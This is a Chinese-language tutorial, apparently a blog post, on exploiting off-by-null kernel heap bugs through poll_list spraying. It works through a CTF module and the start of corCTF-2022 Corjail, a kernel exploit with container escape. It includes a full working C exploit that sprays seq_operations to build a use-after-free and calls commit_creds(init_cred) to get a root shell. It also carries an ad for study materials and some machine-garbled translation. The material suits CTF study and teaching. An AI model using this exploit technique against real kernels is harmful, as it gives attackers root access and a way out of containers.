媒介
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入相识这种漏洞的利用手法。(没相识过docker逃逸的朋友也可以看懂,究竟有了root权限后,docker逃逸就变的相对简单了)。
off by null
我们照旧使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,而且只有单字节溢出,而且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?
利用思路
boot.sh- #!/bin/bash
-
- qemu-system-x86_64 \
- -initrd rootfs.img \
- -kernel bzImage \
- -m 1G \
- -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
- -monitor /dev/null \
- -s \
- -cpu kvm64 \
- -smp cores=1,threads=2 \
- --nographic
-
复制代码 poll系统调用- /*
- * @fds: pollfd类型的一个数组
- * @nfds: 前面的参数fds中条目的个数
- * @timeout: 事件发生的毫秒数
- */
- int poll(struct pollfd *fds, nfds_t nfds, int timeout);
复制代码 poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。- struct pollfd {
- int fd;
- short events;
- short revents;
- };
-
- struct poll_list {
- struct poll_list *next; // 指向下一个poll_list
- int len; // 对应于条目数组中pollfd结构的数量
- struct pollfd entries[]; // 存储pollfd结构的数组
- };
复制代码 poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。
[img=720,543.7190082644628]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659933.png[/img]
poll_list 分配/开释
do_sys_poll 函数完成 poll_list 的分配和开释。poll_list 的是超时主动开释的,我们可以指定 poll_list 的开释时间。- #define POLL_STACK_ALLOC 256
- #define PAGE_SIZE 4096
- //(4096-16)/8 = 510(堆上存放pollfd最大数量)
- #define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
- //(256-16)/8 = 30 (栈上存放pollfd最大数量)
- #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
-
- [...]
-
- static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
- struct timespec64 *end_time)
- {
-
- struct poll_wqueues table;
- int err = -EFAULT, fdcount, len;
- /* Allocate small arguments on the stack to save memory and be
- faster - use long to make sure the buffer is aligned properly
- on 64 bit archs to avoid unaligned access */
-
- /*
- * [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
- */
- long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
- struct poll_list *const head = (struct poll_list *)stack_pps;
- struct poll_list *walk = head;
- unsigned long todo = nfds;
-
- if (nfds > rlimit(RLIMIT_NOFILE))
- return -EINVAL;
- /*
- * [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
- */
- len = min_t(unsigned int, nfds, N_STACK_PPS);
-
- for (;;) {
- walk->next = NULL;
- walk->len = len;
- if (!len)
- break;
-
- if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
- goto out_fds;
-
- todo -= walk->len;
- if (!todo)
- break;
- /*
- * [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
- * 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
- * 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
- */
- len = min(todo, POLLFD_PER_PAGE);
- /*
- * [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
- */
- walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
- if (!walk) {
- err = -ENOMEM;
- goto out_fds;
- }
- }
-
- poll_initwait(&table);
- /*
- * [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
- * 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
- */
- fdcount = do_poll(head, &table, end_time);
- poll_freewait(&table);
-
- if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
- goto out_fds;
-
- for (walk = head; walk; walk = walk->next) {
- struct pollfd *fds = walk->entries;
- int j;
-
- for (j = walk->len; j; fds++, ufds++, j--)
- unsafe_put_user(fds->revents, &ufds->revents, Efault);
- }
- user_write_access_end();
-
- err = fdcount;
- out_fds:
- walk = head->next;
- while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
- struct poll_list *pos = walk;
- walk = walk->next;
- kfree(pos);
- }
-
- return err;
-
- Efault:
- user_write_access_end();
- err = -EFAULT;
- goto out_fds;
- }
复制代码 我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去破坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以思量利用堆喷去构造 UAF 了。
【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习发展路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析陈诉
④ 150+网安攻防实战技能电子书
⑤ 最权势巨子CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
详细流程
- 首先分配 kmalloc-4096 大小的结构题在ptr[0];
- 然后构造如许的poll_list结构体。
[img=720,437.9236043095005]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659934.png[/img]
- 利用off-by-null将poll_list->next的末了一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,而且 32 大小的 object 其低字节是大概为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有充足的堆块用于堆喷,所以乐成率是极低的。
[img=720,385.8904109589041]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659935.png[/img]
- 等待poll_list线程执行完毕,而且我们分配的kmalloc-32被错误开释,分配大量的seq_operations,运气好可以正好被分配到我们开释的kmalloc-32,形成UAF,如许我们就可以利用UAF修改seq_operations->start指针指向提权代码。
- 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。
exp
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include <asm/ldt.h>
- #include <assert.h>
- #include <ctype.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <linux/keyctl.h>
- #include <linux/userfaultfd.h>
- #include <poll.h>
- #include <pthread.h>
- #include <sched.h>
- #include <semaphore.h>
- #include <signal.h>
- #include <stdbool.h>
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/ioctl.h>
- #include <sys/ipc.h>
- #include <sys/mman.h>
- #include <sys/msg.h>
- #include <sys/prctl.h>
- #include <sys/sem.h>
- #include <sys/shm.h>
- #include <sys/socket.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <sys/xattr.h>
- #include <unistd.h>
- #include <sys/sysinfo.h>
-
- #define BOF_MALLOC 5
- #define BOF_FREE 7
- #define BOF_EDIT 8
- #define BOF_READ 9
-
- #define SEQ_NUM (2048 + 128)
- #define TTY_NUM 72
- #define PIPE_NUM 1024
- #define KEY_NUM 199
-
- char buf[0x20];
- int bof_fd;
- int key_id[KEY_NUM];
-
- #define N_STACK_PPS 30
- #define POLL_NUM 0x1000
- #define PAGE_SIZE 0x1000
-
- struct param {
- size_t len; // 内容长度
- char *buf; // 用户态缓冲区地址
- unsigned long idx; // 表示 ptr 数组的 索引
- };
-
- size_t user_cs, user_rflags, user_sp, user_ss;
-
- void save_status() {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;");
- puts("[*] status has been saved.");
- }
-
- void get_shell(void) {
- system("/bin/sh");
- }
-
- void qword_dump(char *desc, void *addr, int len) {
- uint64_t *buf64 = (uint64_t *) addr;
- uint8_t *buf8 = (uint8_t *) addr;
- if (desc != NULL) {
- printf("[*] %s:\n", desc);
- }
- for (int i = 0; i < len / 8; i += 4) {
- printf(" %04x", i * 8);
- for (int j = 0; j < 4; j++) {
- i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
- }
- printf(" ");
- for (int j = 0; j < 32 && j + i * 8 < len; j++) {
- printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
- }
- puts("");
- }
- }
-
- /*--------------------------------------------------------------------------------------------------*/
-
- struct callback_head {
- struct callback_head *next;
- void (*func)(struct callback_head *head);
- } __attribute__((aligned(sizeof(void *))));
-
- #define rcu_head callback_head
- #define __aligned(x) __attribute__((__aligned__(x)))
- typedef unsigned long long u64;
-
- struct user_key_payload {
- struct rcu_head rcu; /* RCU destructor */
- unsigned short datalen; /* length of this data */
- char data[0] __aligned(__alignof__(u64)); /* actual data */
- };
-
- int key_alloc(int id, void *payload, int payload_len) {
- char description[0x10] = {};
- sprintf(description, "pwn_%d", id);
- return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
- }
-
- int key_update(int id, void *payload, size_t plen) {
- return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
- }
-
- int key_read(int id, void *bufer, size_t buflen) {
- return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
- }
-
- int key_revoke(int id) {
- return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
- }
-
- int key_unlink(int id) {
- return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
- }
-
- /*--------------------------------------------------------------------------------------------------*/
-
- pthread_t tid[40];
-
- typedef struct {
- int nfds, timer;
- } poll_args;
-
- struct poll_list {
- struct poll_list *next;
- int len;
- struct pollfd entries[];
- };
-
- void* alloc_poll_list(void *args) {
- int nfds = ((poll_args *) args)->nfds;
- int timer = ((poll_args *) args)->timer;
-
- struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
- for (int i = 0; i < nfds; i++) {
- pfds[i].fd = open("/etc/passwd", O_RDONLY);
- pfds[i].events = POLLERR;
- }
- poll(pfds, nfds, timer);
- }
-
- void* create_poll_list(size_t size, int timer, int i) {
- poll_args *args = calloc(1, sizeof(poll_args));
- args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
- args->timer = timer;
-
- pthread_create(&tid[i], NULL, alloc_poll_list, args);
- }
-
- /*--------------------------------------------------------------------------------------------------*/
-
- struct list_head {
- struct list_head *next, *prev;
- };
- struct tty_file_private {
- struct tty_struct *tty;
- struct file *file;
- struct list_head list;
- };
-
- struct page;
- struct pipe_inode_info;
- struct pipe_buf_operations;
-
- struct pipe_bufer {
- struct page *page;
- unsigned int offset, len;
- const struct pipe_buf_operations *ops;
- unsigned int flags;
- unsigned long private;
- };
-
- struct pipe_buf_operations {
- int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
- void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
- int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
- int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
- };
-
- /*--------------------------------------------------------------------------------------------------*/
-
- void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
- void *init_cred = (void *) 0xFFFFFFFF81E496C0;
- size_t user_rip = (size_t) get_shell;
-
- size_t kernel_offset;
- void get_root() {
- __asm__(
- "mov rax, [rsp + 8];"
- "mov kernel_offset, rax;"
- );
- kernel_offset -= 0xffffffff81229378;
- commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
- init_cred = (void *) ((size_t) init_cred + kernel_offset);
- commit_creds(init_cred);
- __asm__(
- "swapgs;"
- "push user_ss;"
- "push user_sp;"
- "push user_rflags;"
- "push user_cs;"
- "push user_rip;"
- "iretq;"
- );
- }
-
- /*--------------------------------------------------------------------------------------------------*/
-
- int main() {
- save_status();
- signal(SIGSEGV, (void *) get_shell);
- bof_fd = open("dev/bof", O_RDWR);
- int seq_fd[SEQ_NUM];
-
- printf("[*] try to alloc_kmalloc-4096\n");
- size_t* mem = malloc(0x1010);
- memset(mem, '\xff', 0x1010);
- struct param p = {0x1000, (char*)mem, 0};
- ioctl(bof_fd, BOF_MALLOC, &p);
-
- printf("[*] try to spary kmalloc-32\n");
- p.len = 0x20;
- for (int i = 1; i < 20; ++i)
- {
- p.idx = i;
- memset(mem, i, 0x20);
- memset(mem, 0, 0x18);
- ioctl(bof_fd, BOF_MALLOC, &p);
- ioctl(bof_fd, BOF_EDIT, &p);
- }
-
- printf("[*] try to alloc_poll_list\n");
- for (int i = 0; i < 14; ++i)
- {
- create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
- }
-
- printf("[*] try to spary kmalloc-32\n");
- p.len = 0x20;
- for (int i = 20; i < 40; ++i)
- {
- p.idx = i;
- memset(mem, i, 0x20);
- memset(mem, 0, 0x18);
- ioctl(bof_fd, BOF_MALLOC, &p);
- ioctl(bof_fd, BOF_EDIT, &p);
- }
-
- sleep(1);
- // 调试用代码
- // p.len = 0x1010;
- // p.idx = 0;
- // ioctl(bof_fd, BOF_READ, &p);
-
- // printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
-
- p.len = 0x1001;
- p.idx = 0;
- memset(mem, '\x00', 0x1001);
- ioctl(bof_fd, BOF_EDIT, &p);
-
- void *res;
- for (int i = 0; i < 14; ++i)
- {
- printf("[*] wating for poll end\n");
- pthread_join(tid[i], &res);
- }
-
- for (int i = 0; i < 256; ++i)
- {
- seq_fd[i] = open("/proc/self/stat", O_RDONLY);
- }
-
- sleep(1);
-
- for (int i = 1; i < 40; ++i)
- {
- p.idx = i;
- p.len = 0x20;
-
- ioctl(bof_fd, BOF_READ, &p);
- printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
- printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
- printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
- printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
-
- mem[0] = (size_t*)get_root;
- mem[1] = (size_t*)get_root;
- mem[2] = (size_t*)get_root;
- mem[3] = (size_t*)get_root;
- ioctl(bof_fd, BOF_EDIT, &p);
- }
-
- for (int i = 1; i < 40; ++i)
- {
- p.idx = i;
- p.len = 0x20;
-
- ioctl(bof_fd, BOF_READ, &p);
- printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
- printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
- printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
- printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
- }
-
-
-
- for (int i = 0; i < 256; i++) {
- read(seq_fd[i], p.buf, 1);
- }
-
- return 0;
- }
复制代码 corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh- #!/bin/sh
- qemu-system-x86_64 \
- -m 1G \
- -nographic \
- -no-reboot \
- -kernel bzImage \
- -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
- -hda coros.qcow2 \
- -snapshot \
- -monitor /dev/null \
- -cpu qemu64,+smep,+smap,+rdrand \
- -smp cores=4 \
- --enable-kvm
复制代码 init脚本
查看服务历程/etc/systemd/system/init.service;- Description=Initialize challenge
-
- [Service]
- Type=oneshot
- ExecStart=/usr/local/bin/init
-
- [Install]
- WantedBy=multi-user.target
复制代码 查看 /usr/local/bin/init 脚本;- cat /usr/local/bin/init
- #!/bin/bash
-
- USER=user
-
- FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
-
- useradd --create-home --shell /bin/bash $USER
-
- echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
- echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
-
- chmod -r 0700 /home/$USER
-
- mv /root/temp /root/$FLAG
- chmod 0400 /root/$FLAG
复制代码 password- ❯ guestfish --rw -a coros.qcow2
- ><fs> run
- ><fs> list-filesystems
- /dev/sda: ext4
- ><fs> mount /dev/sda /
- ><fs> cat /etc/password
- libguestfs: error: download: /etc/password: No such file or directory
- ><fs> cat /etc/passwd
- root:x:0:0:root:/root:/usr/local/bin/jail
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- ......
复制代码 root_shell
查看root用户的/usr/local/bin/jail;- ><fs> cat /usr/local/bin/jail
- #!/bin/bash
-
- echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
-
- /usr/bin/docker run -it --user user \
- --hostname CoRJail \
- --security-opt seccomp=/etc/docker/corjail.json \
- -v /proc/cormon:/proc_rw/cormon:rw corcontainer
-
- /bin/bash
-
- /usr/sbin/poweroff -f
复制代码 发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的假造环境就是处于该docker容器当中。
为了方便调试,我们可以使用edit将其修改为:- ><fs> edit /usr/local/bin/jail
- ><fs> cat /usr/local/bin/jail
- #!/bin/bash
-
- echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
-
- cp /exploit /home/user || echo "[!] exploit not found, skipping"
-
- chown -R user:user /home/user
-
- echo 0 > /proc/sys/kernel/kptr_restrict
-
- /usr/bin/docker run -it --user root \
- --hostname CoRJail \
- --security-opt seccomp=/etc/docker/corjail.json \
- # 允许容器能够调用与日志相关的系统调用
- --cap-add CAP_SYSLOG \
- # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
- -v /proc/cormon:/proc_rw/cormon:rw \
- # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
- -v /home/user/:/home/user/host \
- corcontainer
-
- /bin/bash
-
- /usr/sbin/poweroff -f
复制代码 edit 的用法和 vim 一样。
后面我们上传 exp 的时间可以使用 upload 下令,其格式如下:- ><fs> help upload
- NAME
- upload - upload a file from the local machine
-
- SYNOPSIS
- upload filename remotefilename
-
- DESCRIPTION
- Upload local file filename to remotefilename on the filesystem.
-
- filename can also be a named pipe.
-
- See also "download".
复制代码 kernel_patch- diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
- --- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
- +++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
- @@ -17,6 +17,9 @@
-
- #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
-
- +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
- +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
- +
- asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
- /*
- * Smells like a compiler bug -- it doesn't work
- diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
- --- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
- +++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
- @@ -245,7 +245,7 @@
- * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
- * macros to work correctly.
- */
- -#define SYSCALL_DEFINE0(sname) \
- +#define __SYSCALL_DEFINE0(sname) \
- SYSCALL_METADATA(_##sname, 0); \
- static long __do_sys_##sname(const struct pt_regs *__unused); \
- __X64_SYS_STUB0(sname) \
- diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
- --- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
- +++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
- @@ -82,6 +82,7 @@
- #include <linux/key.h>
- #include <linux/personality.h>
- #include <trace/syscall.h>
- +#include <asm/syscall.h>
-
- #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
- /*
- @@ -202,8 +203,8 @@
- }
- #endif
-
- -#ifndef SYSCALL_DEFINE0
- -#define SYSCALL_DEFINE0(sname) \
- +#ifndef __SYSCALL_DEFINE0
- +#define __SYSCALL_DEFINE0(sname) \
- SYSCALL_METADATA(_##sname, 0); \
- asmlinkage long sys_##sname(void); \
- ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
- @@ -219,9 +220,41 @@
-
- #define SYSCALL_DEFINE_MAXARGS 6
-
- -#define SYSCALL_DEFINEx(x, sname, ...) \
- - SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- - __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
- +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
- +
- +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
- + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
- +
- +#define __SYSCALL_COUNT(syscall_nr) \
- + this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
- +
- +#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
- + { \
- + __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
- + return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
- + } \
- + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
- +
- +#define SYSCALL_COUNT_DECLARE0(sname) \
- + static inline long __count_sys_##sname(void);
- +
- +#define SYSCALL_COUNT_FUNC0(sname) \
- + { \
- + __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
- + return __count_sys_##sname(); \
- + } \
- + static inline long __count_sys_##sname(void)
- +
- +#define SYSCALL_DEFINEx(x, sname, ...) \
- + SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- + SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
- + __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
- + SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
- +
- +#define SYSCALL_DEFINE0(sname) \
- + SYSCALL_COUNT_DECLARE0(sname) \
- + __SYSCALL_DEFINE0(sname) \
- + SYSCALL_COUNT_FUNC0(sname)
-
- #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
-
- diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
- --- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
- +++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
- @@ -101,7 +101,7 @@
- return NULL;
- }
-
- -static struct syscall_metadata *syscall_nr_to_meta(int nr)
- +struct syscall_metadata *syscall_nr_to_meta(int nr)
- {
- if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
- return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
- @@ -111,6 +111,7 @@
-
- return syscalls_metadata[nr];
- }
- +EXPORT_SYMBOL(syscall_nr_to_meta);
-
- const char *get_syscall_name(int syscall)
- {
- @@ -122,6 +123,7 @@
-
- return entry->name;
- }
- +EXPORT_SYMBOL(get_syscall_name);
-
- static enum print_line_t
- print_syscall_enter(struct trace_iterator *iter, int flags,
-
复制代码 其中- +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
复制代码 为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。- {
- "defaultAction": "SCMP_ACT_ERRNO",
- "defaultErrnoRet": 1,
- "syscalls": [
- {
- "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
- "action": "SCMP_ACT_ALLOW"
- },
- {
- "names": [ "clone" ],
- "action": "SCMP_ACT_ALLOW",
- "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
- }
- ]
- }
复制代码 根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的环境。- root@CoRJail:/# cat /proc_rw/cormon
-
- CPU0 CPU1 CPU2 CPU3 Syscall (NR)
-
- 9 16 25 18 sys_poll (7)
- 0 0 0 0 sys_fork (57)
- 66 64 79 60 sys_execve (59)
- 0 0 0 0 sys_msgget (68)
- 0 0 0 0 sys_msgsnd (69)
- 0 0 0 0 sys_msgrcv (70)
- 0 0 0 0 sys_ptrace (101)
- 15 19 11 6 sys_setxattr (188)
- 27 24 11 20 sys_keyctl (250)
- 0 0 2 2 sys_unshare (272)
- 0 1 0 0 sys_execveat (322)
复制代码 也可以指定系统调用。- root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
- root@CoRJail:/# cat /proc_rw/cormon
-
- CPU0 CPU1 CPU2 CPU3 Syscall (NR)
-
- 0 0 0 0 sys_msgsnd (69)
- 0 0 0 0 sys_msgrcv (70)
复制代码 src.c
可以看到 write 存在明显的off-by-null。- static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
- {
- loff_t offset = *ppos;
- char *syscalls;
- size_t len;
-
- if (offset < 0)
- return -EINVAL;
-
- if (offset >= PAGE_SIZE || !count)
- return 0;
-
- len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
-
- syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
- printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
-
- if (!syscalls)
- {
- printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
- return -ENOMEM;
- }
-
- if (copy_from_user(syscalls, ubuf, len))
- {
- printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
- return -EFAULT;
- }
-
- syscalls[len] = '\x00';
-
- if (update_filter(syscalls))
- {
- kfree(syscalls);
- return -EINVAL;
- }
-
- kfree(syscalls);
-
- return count;
- }
复制代码 利用思路
在 poll_list 利用方式中:
- 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,而且 32 大小的 object 其低字节是大概为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。
- 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。
- 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里大概导致其指向某个 user_key_payload。
- 然后等待 timeout 后, 就会导致某个 user_key_payload 被开释,导致 UAF。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()将当前历程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。- void bind_core(bool fixed, bool thread) {
- cpu_set_t cpu_set;
- CPU_ZERO(&cpu_set);
- CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
- if (thread) {
- pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
- } else {
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
- }
- }
复制代码 喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
[img=720,437.9236043095005]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659934.png[/img]
此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。
[img=720,391.378763866878]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659936.png[/img]
通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后开释所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被开释,形成 UAF 。
注意,为了确保开释 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。- static long
- setxattr(struct dentry *d, const char __user *name, const void __user *value,
- size_t size, int flags)
- {
- int error;
- void *kvalue = NULL;
- char kname[XATTR_NAME_MAX + 1];
- [...]
- if (size) {
- [...]
- kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
- if (!kvalue)
- return -ENOMEM;
- // 修改kmalloc-x内容
- if (copy_from_user(kvalue, value, size)) {
- error = -EFAULT;
- goto out;
- }
- [...]
- }
-
- error = vfs_setxattr(d, kname, kvalue, size, flags);
- out:
- kvfree(kvalue); // 释放kmalloc-x
-
- return error;
- }
复制代码 另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。
[img=720,385.8904109589041]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202411071659935.png[/img]
喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。- struct seq_operations {
- void * (*start) (struct seq_file *m, loff_t *pos);
- void (*stop) (struct seq_file *m, void *v);
- void * (*next) (struct seq_file *m, void *v, loff_t *pos);
- int (*show) (struct seq_file *m, void *v);
- };
-
- struct user_key_payload {
- struct rcu_head rcu; /* RCU destructor */
- unsigned short datalen; /* length of this data */
- char data[0] __aligned(__alignof__(u64)); /* actual data */
- };
-
